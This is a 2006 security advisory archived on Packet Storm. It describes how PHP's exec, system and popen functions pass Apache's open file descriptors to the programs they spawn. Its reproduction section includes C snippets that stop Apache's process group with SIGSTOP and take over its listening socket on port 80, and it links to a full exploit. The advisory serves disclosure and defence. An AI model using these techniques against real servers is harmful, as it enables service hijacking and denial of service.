exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Oct 21, 2006
Authored by dimmoborgir

The php functions "exec", "system", "popen" (and similar) keep file descriptors of the parent process opened. When a new process is run this program will inherit all opened file descriptors of its parent. This can be used by hostile programs to listen and accept connections on port 80, or write to the apache log files.

tags | advisory, php
SHA-256 | df0886b7417f348dce9959a45e47a889aa6e01dd100f026507d0c694e50c33e3


Change Mirror Download
Vulnerable product:
PHP ver. 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5.
Other PHP versions are very likely to have this problem.

The problem is in "exec", "system", "popen" (and similar) PHP functions.
In fact, PHP doesn't sanitize opened file descriptors before executing
a program.

These PHP functions use popen() C function to spawn a new process.
The call of popen() is equivalent to the combination of
- pipe (to create the pipe),
- fork (to create the subprocess),
- dup2 (to force the subprocess to use the pipe as its standard input
or output channel),
- exec (to execute the new program).
These functions keep file descriptors of the parent process opened.
So, when we run a new program via, e.g. "exec" PHP function, this
program will inherit
all opened file descriptors of its parent. In our case it is Apache web-server.
(There is FD_CLOEXEC flag for file descriptors, which specifies that
the file descriptor
should be closed when an exec function is invoked. But Apache doesn't
set this flag on it

This bug makes PHP File Include vulnerabilities more dangerous.
If the server uses mod_php and we are free to execute shell commands
via system(),
then we can easily manipulate inherited file descriptors. E.g. to
listen and accept
connections on 80 port (opened by Apache, and transmitted to us by PHP) or write
anything to its accesslog or errorlog.

Reproduce code:
Some steps to reproduce a bug.
First. Simple program to wait :)

# cat test1.c
int main() {
setsid( );
sleep( 10000 );

#gcc -o test1 test1.c

Ok. Let's make a php script:
#cat a.php
<?php system( "./test1" ) ?>


Good. Now see opened file descriptors:

#lsof | grep test1
test1 cwd DIR /usr/local/apache2/htdocs
test1 rtd DIR /
test1 txt REG /var/www/html/test1
test1 mem REG /lib/tls/libc- 2.3.5.so
test1 mem REG /lib/ld-2.3.5.so
test1 mem REG [stack] (stat: No such file or directory)
test1 0r CHR /dev/null
test1 1w FIFO pipe
test1 2w REG /usr/local/apache2/logs/error_log
test1 3u IPv4 *:http (LISTEN)
test1 4r FIFO pipe
test1 5w FIFO pipe
test1 6w REG /usr/local/apache2/logs/error_log
test1 7w REG /usr/local/apache2/logs/access_log
test1 8r 0000 unknown inode type
test1 9u IPv4> (CLOSE_WAIT)

So, our test1 has Apache's handles. Now we can do something like that
(inside test1.c)

int p = getsid( 0 ); // get current Process Group Id
setsid( ); // become session leader
kill( -p, SIGSTOP ); // good night, Apache Process Group :)

And after that:

for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle
if ( listen (sock, 10) == 0 ) break;
Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c


I described the bug on "bugs.php.net" on 21 Sep, but there is no
feedback from the PHP Group.


archange1, jackrabbit, kost, VenRock, znick and others :)

Special thanks to ilya for help.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By